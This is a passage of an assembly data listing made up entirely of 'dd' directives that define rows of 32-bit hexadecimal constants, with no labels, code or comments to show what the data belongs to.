		dd 0B0678159h, 0DA710438h, 0C0A0C999h, 9ABD4B44h, 1FBB4488h
		dd 0EF78C6h, 0D2BF2B7Fh, 590AFED4h, 90D638AFh, 0DFB9FD03h
		dd 0D8439306h, 0DCD949h, 7CCB5F03h, 0ED9B5573h,	0B80130B8h
		dd 0F013D53Fh, 0D460B6D2h, 82610280h, 6DF7364Eh, 0F431B341h
		dd 0F0084ABh, 19BEAFD4h, 1D13959h, 0ECDA6BF0h, 31036E0Ch
		dd 33F3D432h, 0F57CC602h, 0C0CFE91Eh, 0F1724h, 55032234h
		dd 3AA8479Fh, 81A0C509h, 6E286023h, 54E90EB1h, 70204952h
		dd 0C5A527A9h, 0F1C44D00h, 25FF85F2h, 0C72302E4h, 155A13C9h
		dd 1426B880h, 0B0770BADh, 21E12705h, 0CB0095BAh, 0C918D819h
		dd 0E7F443h, 0A14B81EDh, 713A44AAh, 2A3CFB1Fh, 2061A5FEh
		dd 42133928h, 0B840F141h, 2722593h, 0F54D3380h,	0B4A00A4Fh
		dd 37E38441h, 0EA2A30B2h, 5748874h, 1126ACA0h, 0C56EE9F6h
		dd 919D0011h, 90F8262h,	9AABC3A7h, 4A4020E2h, 0FE25AFA3h
		dd 6A78003Eh, 1EE1C3Ch,	0F0E4BDF1h, 285B3347h, 8CA13CE0h
		dd 1189DD25h, 46510044h, 98DEFFA6h, 0E661B75Dh,	0C9B26459h
		dd 7B82474h, 1FEB8CBAh,	619E63ECh, 37DF1901h, 550CA55Dh
		dd 0D49F8B40h, 94250524h, 0C04C0E8Dh, 0A2F0F418h, 0B30032EAh
		dd 89302CFDh, 0B8876FF3h, 3F140044h, 7F2F3D81h,	0CE0AF7C0h
		dd 0E9C4E990h, 0A6535100h, 3E700FEFh, 310297F8h, 9E02C996h
		dd 71B810C3h, 0AA016CD0h, 0A9FD50FAh, 3880389Bh, 0A4100EE5h
		dd 700CE66h, 34C3863Ch,	3611292h, 8C22212Fh, 2A8B6993h
		dd 117101F0h, 840D5Ch, 31769D62h, 1E73858Dh, 0B12DC98h
		dd 70805D7Ch, 0EDB57796h, 1E2B6B00h, 5A93A642h,	1CAA00ACh
		dd 27E78DD2h, 0B200F6EFh, 34E96D92h, 8591C5h, 7EE5550h
		dd 0E59CC368h, 92FA48h,	181ADE47h, 3C91BDF2h, 0A480EC98h
		dd 2A5EB344h, 0C200FEB2h, 9E3F7E56h, 0DE2BA1h, 25F4CD97h
		dd 0A31324ECh, 36A2E224h, 0DFEDB00h, 7D60B4AAh,	0CA9F003Eh
		dd 6335230Bh, 8F07BB9Dh, 98B33925h, 11AA5870h, 22B000F6h
		dd 13DD3637h, 0E8E1ACA4h, 1A029C33h, 0CA19BDF0h, 4753E069h
		dd 0AC7013EBh, 31E8F0FEh, 0B895FB00h, 3861DE5Fh, 8FD23DFAh
		dd 60BB7900h, 5CEB6825h, 0C8E7AC3Eh, 4DDA0075h,	0EDEEF3FEh
		dd 96867867h, 0F0230050h, 0DF6E0FB3h, 0BA001D90h, 0EF468007h
		dd 21FD3F3h, 603A3FC0h,	34E04FFBh, 8400F6DFh, 0F8A8E804h
		dd 356CD6Fh, 0CE0CEF74h, 45F358CCh, 46300B88h, 0E2DF1800h
		dd 0B5B9A7BCh, 0DB5001FEh, 0A4D74202h, 7082E092h, 4E583900h
		dd 84C8AE96h, 0A7E10003h, 44AB6EFBh, 0FA000B66h, 0F9FD1CCFh
		dd 5D58F1h, 34CBEC1Bh, 0F5A1428Ch, 54B93E00h, 0BF5FB551h
		dd 72988Bh, 0D7F6F97Bh,	0FBDC4917h, 8ED51100h, 2CB54F8Ah
		dd 26CA00EAh, 1AE97967h, 0FE032B0Bh, 41B62139h,	0AB239145h
		dd 323870h, 0FA53117Bh,	13490472h, 861E39h, 7173F518h
		dd 0D4F1F0h, 98A95F38h,	6F4C8BB6h, 9074400h, 837FB94Ah
		dd 63DB0024h, 943702E4h, 0F022E50h, 0D0F0AA2Ah,	0CEB4C053h
		dd 74A7004Ch, 87EBFD52h, 0F7040DB6h, 9915F3E2h,	717D7C80h
		dd 0E12D0068h
		dd 371CD490h, 0D500C984h, 0AA421A4Bh, 1680BB10h, 0C0CAF860h
		dd 0ED44A064h, 0AE0081F2h, 0BF9B7FFAh, 235C74Dh, 15665239h
		dd 0FC40E4CDh, 28003B1Dh, 3FB531F5h, 32F14FEAh,	0C249CFDCh
		dd 500A4E01h, 0E8E45434h, 8E5D09A0h, 74A0E0DFh,	83026009h
		dd 852CC000h, 968FBA71h, 175C000Bh, 4EFBFA6Ah, 9C010E8Eh
		dd 7D7686EEh, 1260C593h, 7E110069h, 0F1859458h,	1BFA0F39h
		dd 343E951Dh, 64305340h, 0FDA3DEh, 0F3D51A3Ch, 23628A27h
		dd 1B8C802Eh, 3F1C6817h, 7A484540h, 14C227FCh, 8CBB6CA6h
		dd 4DB12400h, 68C6948Ah, 0D966D40Bh, 52F080F2h,	0B0D7FA0Fh
		dd 1E2E1D78h, 4D0D4311h, 6E88301Dh, 0FD1EE880h,	6340F10Bh
		dd 87FEAB17h, 0D9712Ch,	5B78C434h, 21F828ADh, 49F9E214h
		dd 74060998h, 46D0A0CDh, 71981BAh, 7907A435h, 6B281778h
		dd 0E1CD3401h, 0AD0BC0EAh, 0DAD15A01h, 0C7A24A9Ch, 0B6015C3Dh
		dd 60E17359h, 3360609Dh, 4912C505h, 0C401E51Ah,	9214EF87h
		dd 3349130h, 75217B1Fh,	797F153h, 1ABF60EBh, 2913715Ah
		dd 0A8006D78h, 0E80316C4h, 847A53h, 0B8D111F9h,	0EB09FF45h
		dd 0A9968000h, 369EAB66h, 0FD3401A0h, 0A8B77C5Fh, 0F419807Bh
		dd 9744FC65h, 6C9003CFh, 0B4EAFB3Ah, 0F8AD1100h, 9B1816F7h
		dd 89731F30h, 70A60E2Bh, 0C17F403Fh, 6938AADCh,	99BC8E01h
		dd 0D7F7B760h, 1B87460h, 1BED4843h, 3013F911h, 45038F9Ch
		dd 0EA3AE6A4h, 1A6BE826h, 0A433497Eh, 2A61800h,	3DF6887Fh
		dd 9113620Eh, 3917A055h, 48E68FEAh, 0B907B092h,	10DD8AFDh
		dd 2DEF0BE2h, 32C3448h,	0C3881BD1h, 924E9081h, 0B1350009h
		dd 3FC437Bh, 7400BA17h,	9C08AEDDh, 6C2EDD9h, 108D8C86h
		dd 0A1000899h, 94AD4832h, 0AB063Eh, 56709F31h, 20A04284h
		dd 8F29500h, 0FA9EAAF7h, 0BB8107B9h, 70ABDB25h,	671EA112h
		dd 80FE333Ch, 85622E57h, 0E74204h, 79117C0Eh, 2318C776h
		dd 1000EC98h, 81C0CEEFh, 20638Dh, 5539F8DDh, 0E2E4E505h
		dd 80AE023Bh, 17C65D2h,	7CB72574h, 7A77005Eh, 9D31720Bh
		dd 6B3BEBA4h, 8DC5808Fh, 0E199E73Fh, 51AE007Bh,	3DEF610Ch
		dd 0BE1EE382h, 92C0EB90h, 0E222E069h, 36230B48h, 6A0216FDh
		dd 38F08A0Ch, 0F27F5500h, 97D8CE3Ch, 35980EC9h,	0CF6FECD2h
		dd 0AB61C1C0h, 205C1EF7h, 976F1E23h, 185FDEFBh,	4CC18C83h
		dd 5070EB65h, 780F48h, 8434224Bh, 1133FD8Bh, 1AF0CF00h
		dd 0E588A471h, 7F540F5Eh, 0C0C7C8B5h, 46B372D6h, 49B094E0h
		dd 0C119CF17h, 77BAC880h, 4428F717h, 2D221C03h,	5FF0D624h
		dd 4401048Ch, 0D470FC9Dh, 0A8CB2CECh, 900183BFh, 0CEB58D8h
		dd 5F1416h, 3B938D04h, 789AAEC4h, 0A012379h, 74E32A5Ch
		dd 4ECC5967h, 0FC1C0032h, 504635A1h, 2701CB13h,	0B0DC238h
		dd 0A7E03BB4h, 89DF245Ah, 0FC803978h, 0E848F50h, 3300483Ah
		dd 0B3EC418Eh, 25CE2151h, 80A375E7h, 7800832Eh,	4A11EA9Bh
		dd 0D373ACh, 3C131656h,	0EB691C68h, 80D75000h, 4BC0FA34h
		dd 4DFC0063h, 0F78D661Ah, 1F0028F3h, 0DF73EF90h, 25F55F53h
		dd 7C4096E5h, 0F400A821h, 8D72E281h, 729BEE07h,	19EC64h
		dd 909D05C6h, 6386FE82h, 0FDC76600h, 0E87F3FFFh, 0E7809B3h
		dd 444087AFh, 0E00053FBh, 1844691Bh, 0EF42F33h,	2DC6D936h
		dd 0FED234C0h, 0F505E546h, 68113B54h, 0DD6F3490h, 0F477DCh
		dd 2A5FEF8Fh, 0EDAD0E19h, 1A079F2Dh, 4858A4h, 0E20AD12Ah
		dd 0E88AFAF6h, 0CC307700h, 49BAEAC7h, 0DAEC1DC5h, 1800E511h
		dd 0A05BF336h, 0F2CD7806h, 88990Dh, 0B51E514Ah,	0EC3B6170h
		dd 4FD03201h, 0E2D4504Dh, 259886DCh, 0F0271B58h, 0C0A4D014h
		dd 15F469BAh, 8886C40Ch, 0B64478C9h, 50B707B8h,	1420F999h
		dd 0EC8D7727h, 0B60ADE13h, 65B000AEh, 92757490h, 571B0D04h
		dd 0E8C0ADD6h, 48688876h, 0C301359Bh, 0EBB2B370h, 0F6488189h
		dd 3059DD37h, 0FA463C8h, 8620F8FAh, 93872A43h, 0E99BA101h
		dd 1C57EBA5h, 2A352C48h, 1CA0EDD3h, 518A36Bh, 0A0BF5664h
		dd 0F901E87Ch, 0CD20E094h, 0B5E01033h, 2C98003Eh, 9756C170h
		dd 0C8A0C6A1h, 5507F199h, 0BC145489h, 0EB778880h, 0E4E009h
		dd 23E62E5Fh, 9F5985C5h, 6B204B60h, 17012C47h, 0C07929D3h
		dd 223720F0h, 0C010A84Bh, 692300EEh, 4DCA291Eh,	570A000Dh
		dd 5E6CB37h, 6A01F10Ch,	6B8E0843h, 78CA97FDh, 7CF40188h
		dd 0CF1E72DCh, 0E17BE8DAh, 2C8E407h, 23510115h,	0BDE0A3D9h
		dd 8B6903D0h, 7E29EF8h,	138C0FCh, 0DB4A90DCh, 11F0781Dh
		dd 0B56182h, 2DE9FE08h,	0CE72B6DFh, 32B08800h, 8EBC9F50h
		dd 0B3390027h, 0FD217A8Dh, 8C002E56h, 9E4C3A7h,	0E4CA88A0h
		dd 598E0C1h, 7C338EB5h,	0E8D04295h, 0C4A0C8B1h,	823861EBh
		dd 0EE01492h, 1C21FB07h, 1B25091Fh, 7B79D0F0h, 86100FFh
		dd 0C4B16865h, 7B00EAB7h, 1CF96DBh, 143D2C1h, 0C20AE926h
		dd 60562917h, 0ED00A0C4h, 7E9E9D38h, 745966F8h,	0A9786Bh
		dd 0A6E235E4h, 136709BBh, 0C00DCBEh, 0EC0B3381h, 1A1C0C7h
		dd 9EB31492h, 0BA3F4A00h, 0DA61EAD2h, 0C29C015Fh, 7CB82487h
		dd 0F757C49Ah, 0AAEF4700h, 0E155787Ah, 0CBAF0023h, 2EDA267Eh
		dd 1400A3C6h, 828C881Ah, 390761ECh, 773EE5h, 5B0D119Ah
		dd 88564CFh, 27D33107h,	0FAE07ADAh, 0E943FCh, 0ADA7A2AAh
		dd 3F2CA964h, 6752D617h, 1DED3CC0h, 0B3BF801Fh,	10E5D230h
		dd 2F5E495h, 42C07F17h,	0EAE0CA58h, 0BF003161h,	0C395ADE6h
		dd 39148974h, 938063A5h, 5AA30216h, 0A80076D5h,	80B2B14Eh
		dd 7111A7Ah, 1B0E93C9h,	7E4FA5Ch, 0C0F2EF1Ch, 0D78E5DC0h
		dd 3C3FAD01h, 0F61A27E9h, 5FCAE4h, 1F4A4E28h, 0DC8B04A7h
		dd 9B46BA02h, 0E0698ACCh, 0ED01A550h, 171D5DF4h, 1975924h
		dd 0F729E554h, 38B8684Ch, 2E73809Bh, 0B86BEE27h, 8303009Fh
		dd 7F97B2FEh, 7107C1CAh, 3160EB8Ch, 0FF2420C9h,	1D05FEh
		dd 6A0A101Bh, 38EEA3D1h, 0E401B090h, 93751987h,	0FC34C817h
		dd 0DAD24AA8h, 258F0908h, 780820F9h, 50B86677h,	9186A0h
		dd 1E386384h, 1C6C03E6h, 0FD9FC200h, 952D71EFh,	0DBD0004Ah
		dd 0EB3C6270h, 0D100E133h, 71AB84E0h, 1BC6AAh, 0F125992Ah
		dd 8CF978B5h, 100DFE0h,	5F646CFDh, 0FAA1FF14h, 68DE48C1h
		dd 74CD4000h, 0C94F60D6h, 777BA300h, 7503529Ch,	0DB0D006Ch
		dd 7B05DC6h, 422E0F86h,	4602DDEEh, 0E0A64B39h, 55C4C0h
		dd 29768378h, 0FC401743h, 23D9400h, 85C28F18h, 103904FAh
		dd 0C1C460CDh, 34E522F6h, 0CC0209B4h, 0ECC70726h, 0A88A0B8h
		dd 0F6318Dh, 0A3AA68F9h, 0B9D54288h, 5C783702h,	6BFF76FCh
		dd 9357B870h, 0B887075Bh, 0A0461CCCh, 0E8D7FCB3h, 0CFB65428h
		dd 740B3C00h, 1FDF53AFh, 9E802836h, 810500D0h, 0D2B9FB3Dh
		dd 0D89A7327h, 48405216h, 13E1D027h, 99806FA4h,	785C59F9h
		dd 0A0B04820h, 807DD425h, 0D50EEDCh, 0E8580006h, 6BDFA1E9h
		dd 6C1EF7B5h, 7C0C9F9Ch, 17866101h, 13BC9Bh, 5F124120h
		dd 0C400DCD8h, 55AC0219h, 77A4A7h, 73CE0BD1h, 58B4A35Ch
		dd 60FCAB0Bh, 5209000Dh, 4E9B63AFh, 20500090h, 6793EEACh
		dd 0B0B05744h, 4E704F8h, 912715D8h, 44E3A240h, 8B8CD8C8h
		dd 0AFB05305h, 2CC870E2h, 0A1C6055Ah, 0DC5D1006h, 90033320h
		dd 97A2B99Eh, 14D17C7Eh, 90040CF1h, 6A01FC58h, 0FC023C80h
		dd 2B20823Ah, 0EC6C83BEh
		dd 18271564h, 0B8038C4h, 0A24B3BA4h, 78FDCA31h,	0B475799Fh
		dd 0D82090E6h, 25291639h, 0B0EA0196h, 0CE923091h, 20C1B841h
		dd 0F224E3D0h, 912CF8A9h, 679B9700h, 0CA5E081h,	0AE7AA7B6h
		dd 4E00F648h, 6014AF5Fh, 0C0D51104h, 0B32CA461h, 0E330F736h
		dd 691A888Ah, 0E9196347h, 52AEB0A7h, 0CCF64812h, 7382038h
		dd 0FDAED317h, 0A4FE4067h, 0F900294Eh, 0D9723066h, 28F96D1h
		dd 0DEFB3F90h, 0FDC183EBh, 246082ACh, 0E0B73375h, 50BA2304h
		dd 0B688C491h, 0E27450B0h, 4C29B103h, 0E093035Dh, 1F73CA77h
		dd 40AF242Dh, 112FC7D8h, 61028B54h, 9A6E17F4h, 16FC5ECAh
		dd 7CCC0039h, 0A491C089h, 6B103860h, 78C8F4D9h,	3F2009ADh
		dd 420B853h, 0ACD7D235h, 89DA873Eh, 20264884h, 786EA480h
		dd 0C13B2C9Ch, 0E9BF80C8h, 2B193A2h, 0C828C5F4h, 4700908Ah
		dd 0C777DEDBh, 44FC10h,	8D322D75h, 2AC93C0Eh, 3C21223Dh
		dd 0BBD08002h, 0F35250B1h, 6E260029h, 6C4D3C8Ah, 6200BD11h
		dd 8EB2D025h, 1CF7F1h, 8DBBB00Fh, 158493FFh, 1F9CC65Dh
		dd 0FBC0D3A1h, 0F59AEE7Ah, 32E31D47h, 0B694813Ch, 0C6EC4ABBh
		dd 6FBF04E0h, 1CA74200h, 0D1D0FD12h, 9E5C007Ah,	0F26A9F22h
		dd 0A1F0AEE2h, 0D60EAF00h, 10B0F155h, 3DB7B83Ah, 5878B70h
		dd 221D8835h, 0BC807EFFh, 0D09006BDh, 0DA01FC76h, 0A756A43Dh
		dd 0A8413181h, 72EDC4Eh, 0A08F3378h, 7C5D61E9h,	0FFD14F00h
		dd 493BB0CFh, 0A3500A0h, 0BC727813h, 0C20E4802h, 10F22Ch
		dd 6BE708DAh, 59F1008Dh, 0BE054918h, 3D27CBEAh,	484C1Bh
		dd 0BA346C8Ah, 4E32218Fh, 4E0B800h, 2EB960B4h, 1D3AF436h
		dd 75DF640h, 20D8897Ah,	0FD6A9050h, 0E18C4700h,	165638BCh
		dd 0B9D003Ch, 0F28AC1D0h, 510E08A7h, 8024FD8Bh,	0C2E03B72h
		dd 0F3E8F8B8h, 245D98FCh, 800CAB39h, 0FA601B7Eh, 5E1DD3E1h
		dd 911DB4A5h, 80BBD28Bh, 57460EFDh, 722D009Ah, 74FDA9AEh
		dd 9C00BA18h, 0FCC243B7h, 0BC7F5Bh, 13CF7A17h, 0F7F9C7CCh
		dd 83077E00h, 0AA03FC33h, 43FB006Ah, 0C390CEDEh, 2005AB2Ch
		dd 0CA980257h, 0D6D4A4C0h, 0AB91FA8h, 0FE5C4C19h, 0CB005719h
		dd 992BA55Bh, 2C3CF9E8h, 760ADA0h, 0D072D2CEh, 2810925h
		dd 56B7C8A8h, 0A87EEF00h, 0E7535740h, 0E44607F5h, 0FA883677h
		dd 40200BCh, 5F9C69F9h,	6016DCCBh, 165A7770h, 949EEE5h
		dd 4C517682h, 607D820Fh, 0F7BD1DEFh, 9C735962h,	80F1771Eh
		dd 3A6EAA3Ch, 9FBEA4h, 0DBDDFC34h, 64310BE8h, 58A08142h
		dd 0EA5C6DFh, 0A11A9900h, 799251CDh, 33E0305h, 8E49FCB5h
		dd 0FD6F30D7h, 52EEEDDDh, 0DE00809Ah, 3DF39706h, 96118A6h
		dd 1D67517Dh, 0C02B7880h, 0CE04804Ah, 1A06C8BFh, 8627DCD8h
		dd 0CD8D60C9h, 0B500460h, 0E520D04Fh, 865899D7h, 0CC105104h
		dd 8C3204F5h, 20B25112h, 0BB33F751h, 10DC600h, 44E2EF60h
		dd 303B5895h, 54007AA8h, 0E89E0991h, 2797A6B3h,	0D8196C1Eh
		dd 5C15129Dh, 21BC00D8h, 396DACAAh, 84E6B80Fh, 680DAAECh
		dd 0C86652h, 9EB93CF1h,	0F9F7D450h, 140020B1h, 346FB705h
		dd 170EBh, 52732FACh, 0D5E2DDBDh, 0FF4DFB03h, 800413BFh
		dd 0B799583h, 0EE1BA476h, 5496301Ch, 0E91480B9h, 70760FE3h
		dd 0F1343B51h, 6FE4A502h, 4C80641Dh, 43F7A6F4h,	1B00209Ch
		dd 1D3DB7D2h, 0E99C1C79h, 39F540DDh, 316CF462h,	600C7E6h
		dd 10DF5EE3h, 1A10CB2h,	0C36446F8h, 0D002C4DBh,	0A5EED584h
		dd 23A86103h, 0F0373ECAh, 168B2CAAh, 0C583F8h, 702679Bh
		dd 0BB077A73h, 9DB7E360h, 9EA69240h, 33320BDFh,	3C00446Dh
		dd 0DDE1B075h, 21C0A2F6h, 5217772Dh, 14B90938h,	0D380E2BFh
		dd 410C5573h, 8E769600h, 0C7C3A70Eh, 41309AEBh,	0D6204074h
		dd 18269962h, 0A680802Dh, 0FFDD8AFEh, 141F00C2h, 0F3B54B59h
		dd 895AA740h, 3A0E54D1h, 65D2C0h, 0C90A7D4Ch, 70B035F6h
		dd 313E0F00h, 9C1FF4A7h, 6C5B301Ah, 18DD7CBEh, 30596800h
		dd 0AC033F64h, 295C0097h, 3A34104Dh, 0AA0F3284h, 0A6C5939Eh
		dd 11DC08h, 35428554h, 3FDA5BEFh, 0D5D42C1Ch, 0DF1E7C00h
		dd 755577h, 0E892EA48h,	0F87E4CADh, 0DC315800h,	0EAAD5A4h
		dd 5C4679D3h, 261C7C66h, 7A670035h, 0A305A5E6h,	413ABC00h
		dd 1D25DFEBh, 2A29091Ah, 6A002B36h, 0DA43FEECh,	0EA79909h
		dd 0D0280CEh, 39E3AA0h,	0EDE69BF7h, 9FF086C3h, 21FF5BBh
		dd 0E500343Eh, 0B16DE112h, 5342008Ah, 3F8999FDh, 0F002ABDh
		dd 0F9237DC8h, 3EA5B3h,	0CC4F5D9Eh, 26DE1D44h, 8886F602h
		dd 406FA439h, 0B7E655h,	0D42F616Ah, 645F91B5h, 0FCBC650Eh
		dd 28F8E0EDh, 1F9288AFh, 801F53E5h, 4D303756h, 8A7021DBh
		dd 1349700h, 1327B996h,	0F1A03C7h, 0F746814Bh, 5A22EEE0h
		dd 1B34748h, 341B9C42h,	78DCEAFFh, 878900E5h, 5F2E92FCh
		dd 65004CB5h, 2119507Ch, 2C988F86h, 3237A57h, 0A8E9EFDEh
		dd 0BC391598h, 0DD2A2F01h, 2EFD2805h, 3D27F080h, 62A79319h
		dd 7AF05Ch, 76B097C9h, 0ADC5ABh, 0C2919608h, 8F15E7E4h
		dd 0E563E00h, 13C74BBAh, 3B4A3F88h, 0F6ED3C0Fh,	65507D20h
		dd 433903C3h, 8E448036h, 13858CB3h, 6DF600ACh, 0D7E0A086h
		dd 901E5B9Dh, 0BC083ECh, 8B30C780h, 38A501C2h, 0A7105EB2h
		dd 76B3F825h, 8A1E39h, 2E45FDD4h, 9AB0C63h, 361895DCh
		dd 0C0254684h, 4D91DA41h, 0B403E670h, 3CE05576h, 0C0699A47h
		dd 0E79B5C7h, 0D9283A9Dh, 0B2A5B860h, 0CA00082Eh, 0C14A591Bh
		dd 4B6CECh, 141E8E31h, 1C7E51BDh, 0FC3037F4h, 1802883Ah
		dd 0EC8C0084h, 1D63C1E7h, 7A00BA12h, 2C19EE10h,	0EF1A317h
		dd 13909522h, 59F6DBA0h, 0DA06AC0Eh, 0EF4AD671h, 9E680B24h
		dd 0AD046CD7h, 55F8C0E6h, 9D776E96h, 59008AE8h,	39ED764Eh
		dd 0F0CECB0Bh, 84420057h, 0F2012DC4h, 0E0000858h, 5C89135h
		dd 4998F4h, 0D3DFB6BDh,	0E7FF766Ch, 0FCE48107h,	3940881Eh
		dd 0E8F72793h, 0A4740011h, 0DF124405h, 3C00E1D7h, 79FE6D7Ch
		dd 0A1420A97h, 0D4702B90h, 0BC6A0091h, 6D1C4FDDh, 0A700FCEDh
		dd 6B944279h, 97E2ADh, 90B406C1h, 9FAECB89h, 2FCAA800h
		dd 0B2636B1Ch, 0FF2200FEh, 0D9C5EB6h, 0FA072CB5h, 69E50ED2h
		dd 80D70373h, 707271Ah,	786C26A8h, 2A1CF081h, 0A6038448h
		dd 0C6AA775Bh, 6740D86Bh, 8FDF002Ch, 5DE281C7h,	3EE48563h
		dd 1B36D301h, 538CB6E1h, 68A0C4h, 9FA5F370h, 0D16E35Dh
		dd 0F007490h, 6A321105h, 1D5B49BAh, 0C0196878h,	35140A12h
		dd 4B00B865h, 2BF0484Dh, 373405A7h, 0A71AD078h,	219050E9h
		dd 3C3FFCA6h, 0F19E178Bh, 5A00BF16h, 3BE95D3h, 0E7DA3C1Ah
		dd 0C7C9D160h, 5D008991h, 3AFF724Eh, 182142Ah, 24D2D055h
		dd 0F7CCC7F7h, 0BEC42FC8h, 59475805h, 0A9C02B14h, 248F5Fh
		dd 755EC6C3h, 8CDCF441h, 8DC76800h, 7D973848h, 5CA300E5h
		dd 0B07FB116h, 0CA002E86h, 0BA747A77h, 784EF6h,	3AEA1CECh
		dd 0BB91E81Ah, 9F47401Dh, 705D2940h, 377A96h, 5697E3CBh
		dd 0DEF4602h, 4002A47Fh, 332DAF98h, 18C0807Ch, 3A3EBD5Ch
		dd 26007709h, 6F8CC52Bh, 6C264BA8h, 0B01624CBh,	82CBD07h
		dd 0B0FE2983h, 1E41B5Bh, 3758FCAEh, 0FC27C31Dh,	0BFF40399h
		dd 5E0042FEh, 0CF122C0Fh, 71238E66h, 415200C0h,	0C47635FFh
		dd 0CB0291E9h, 0D4752B71h, 0CD246079h, 0D32D3A5Ah, 52B83C80h
		dd 946F19EDh, 171111C3h
		dd 0CD39B8CAh, 9A7500B9h, 6F1546A4h, 30A02D68h,	17390CF3h
		dd 100E8034h, 0EAB55012h, 3D7A7C06h, 76068B9Bh,	11C1819Fh
		dd 0D5413C00h, 4AB8F823h, 0C6C20098h, 5BA3BC6Ch, 0CC03AEB7h
		dd 63B26E39h, 74890FF9h, 1C4082DEh, 6F4079D0h, 0E868F401h
		dd 0A30F4348h, 138B430h, 0F1CE6BA9h, 0C4556A09h, 47005494h
		dd 0B390DE17h, 3367E3Bh, 0C4B1C377h, 7DD07430h,	5A0062D0h
		dd 0D9F9A3F1h, 97BAD8Dh, 3EF8D87Ch, 256CFC80h, 1020E16h
		dd 0B29D3309h, 19F1404Ah, 0F2EC4Bh, 24FDA0E5h, 4278C118h
		dd 5D448700h, 0F5BEA55Bh, 0DF603E3h, 28A6642Eh,	2431F248h
		dd 4400BACEh, 8F88947Dh, 69730B26h, 0AD80D7FAh,	8AB8F91Dh
		dd 2C3E5200h, 54D69C04h, 689A0020h, 0C3992D65h,	757BC28Fh
		dd 2A44AB03h, 0AB245AA2h, 1CBF0FCh, 0AEA2410h, 38E300D4h
		dd 0DEFEE5F5h, 8C8F9D00h, 0E61D5B84h, 9C87135h,	91AFE4F9h
		dd 2AF76480h, 120FF021h, 201F5175h, 2DBC7C25h, 0E8B80752h
		dd 0ACD2C8EDh, 9616641Ch, 0C000F075h, 46848ACEh, 877C002Bh
		dd 180AFFD2h, 0F898ED83h, 92D9701h, 746DE428h, 2224C60h
		dd 0B21E318Ah, 80C046ABh, 0E500512Dh, 5AC8A7F3h, 4CB1A8h
		dd 668C9BC4h, 0A2ABA6E3h, 0DEDAD700h, 0EE543C57h, 0BF780192h
		dd 0F55FB2Ah, 8EC8307Eh, 7D00D090h, 0B583DAAh, 1CDC269h
		dd 80A5EE7h, 0FC87D77Fh, 88741A60h, 0D0808C18h,	0EFEBD90h
		dd 90B5F323h, 0E8CE3660h, 263CC215h, 1978140h, 80867019h
		dd 0BBBF7088h, 54DC00B8h, 7D61A229h, 0FC1F2405h, 0E5C20932h
		dd 0BC4B4800h, 2907FDD2h, 8DCEC7C6h, 0AADE7B60h, 0BF6A004Fh
		dd 34E22740h, 7501103Ah, 0EEF888CDh, 60D49FD1h,	868A00D2h
		dd 2559F4DEh, 76E6E3D9h, 36ADA03h, 80C1268Ch, 0F6FD78h
		dd 0E8EFDB20h, 0F402EC7Bh, 64601D00h, 5FE28B9Ah, 172000F3h
		dd 3178DAABh, 0B0000943h, 32A6A23Eh, 18563906h,	30A3C584h
		dd 1300628Ch, 92866ADBh, 0EE33F8h, 77C267B9h, 8DA36840h
		dd 5E74E000h, 70C973F1h, 225051Fh, 8086062Bh, 664ABB72h
		dd 0E3404200h, 5B399CD3h, 12EC0341h, 3B2E1D21h,	86204ED0h
		dd 7FE3BB03h, 0A8E49482h, 0DE610Dh, 49F3F7E8h, 0C41AA8F0h
		dd 0C18FD407h, 46308E7Bh, 0B8EC566Fh, 792E0031h, 0D0CFC4Eh
		dd 322E1511h, 12002726h, 0B9737255h, 8B029h, 278A7AD4h
		dd 3F60C6ACh, 331CA103h, 8877D3E1h, 1DBEAAFCh, 80294D46h
		dd 0BF1084C4h, 610020B5h, 2BEF658Fh, 377DEF4h, 0F69EC867h
		dd 6EB07FE1h, 4600EEBAh, 0F151DBA0h, 2DE714Eh, 153C364h
		dd 4340FF43h, 1175206Bh, 93E0665Ch, 0E0002616h,	46975A28h
		dd 4092D8h, 0EABFF457h,	6956D7D9h, 0FAA79A00h, 3E7B8E55h
		dd 0D39C051Bh, 0C6B322F4h, 4000D86Fh, 0EA0B466Ch, 1C6642A7h
		dd 4369CDB0h, 1FE1412Bh, 0C31154BFh, 0D09CEA9Ch, 0A097D000h
		dd 0AC802A00h, 2719C05h, 0F0B90086h, 32C2DE38h,	640146C7h
		dd 63330721h, 70F426DCh, 96750037h, 5D9AD744h, 0F4006CF1h
		dd 312BB867h, 7B830DD2h, 583300EEh, 248ED90Eh, 0E8006CAAh
		dd 0C39ABFA5h, 340C63h,	87D4044Bh, 85671B29h, 0C0242A00h
		dd 5EE2D7A9h, 7E6D28ECh, 0BFAA4887h, 0E0542C00h, 0BFA321BDh
		dd 310C5803h, 99374467h, 0C0247B05h, 34D10079h,	0D2034766h
		dd 0A25C179Eh, 0BEAF0028h, 14C5739h, 0EB9803E8h, 0AAD20841h
		dd 5A82C0FCh, 3C00ADACh, 0D502B9E9h, 0BA2EDABh,	0B7C68357h
		dd 6E8BC080h, 32E4A8DFh, 0E84A7900h, 0DB77AEE5h, 1CFE0054h
		dd 4393B0F9h, 2D1D286Ch, 0B41D5A6Dh, 0BEF3AD40h, 16913D8h
		dd 0E4B83ABDh, 36F27B73h, 0E577C494h, 0C086A300h, 0D9E3A8A5h
		dd 4060EEB5h, 9A00E78Ah, 0DAF43CA1h, 7625A31h, 5C6F43CCh
		dd 626200Ah, 0EA0058B3h, 8EAEF8A8h, 1CC5F178h, 92EF3D82h
		dd 4F24C1C7h, 0CC80FE23h, 0A79317D1h, 10C87C16h, 4A2C841h
		dd 0A4642F24h, 37E4D8h,	0DAEB9560h, 1A913BBh, 3D08C748h
		dd 8F90012Ah, 5FAFB9F2h, 58C46021h, 7CF01F54h, 5B88405Eh
		dd 0C371425Ch, 0B2203761h, 0FCD862DFh, 308C9638h, 76B09919h
		dd 828D8E00h, 8133AB2Ah, 14D912DCh, 0F1780475h,	866E4199h
		dd 0EC60F32Ch, 4B4C581Eh, 90E6FF09h, 5376A800h,	784850FDh
		dd 7B230750h, 3487B72Fh, 8D637210h, 0EBAD1639h,	5F1020E7h
		dd 220D4782h, 1643F3BEh, 0E9B0E500h, 9D84302Bh,	50355F48h
		dd 59F6503h, 0A052C270h, 300B80A9h, 8AC0A107h, 0EE7CD981h
		dd 22F38906h, 5CB12F20h, 1A8080FDh, 76110E57h, 886083F2h
		dd 99C6F438h, 42804CE1h, 0DF205800h, 6E79BF93h,	5FD7D60Ah
		dd 0A49CCC34h, 86168568h, 68070208h, 6444A6Dh, 2EF090A4h
		dd 80C0AFE0h, 0AE6759CAh, 6C1226A7h, 0AC007D2Dh, 0C1212E7Bh
		dd 0CEE4641Fh, 200EA01h, 0A6F14DB9h, 21FF0178h,	0BEE52CBAh
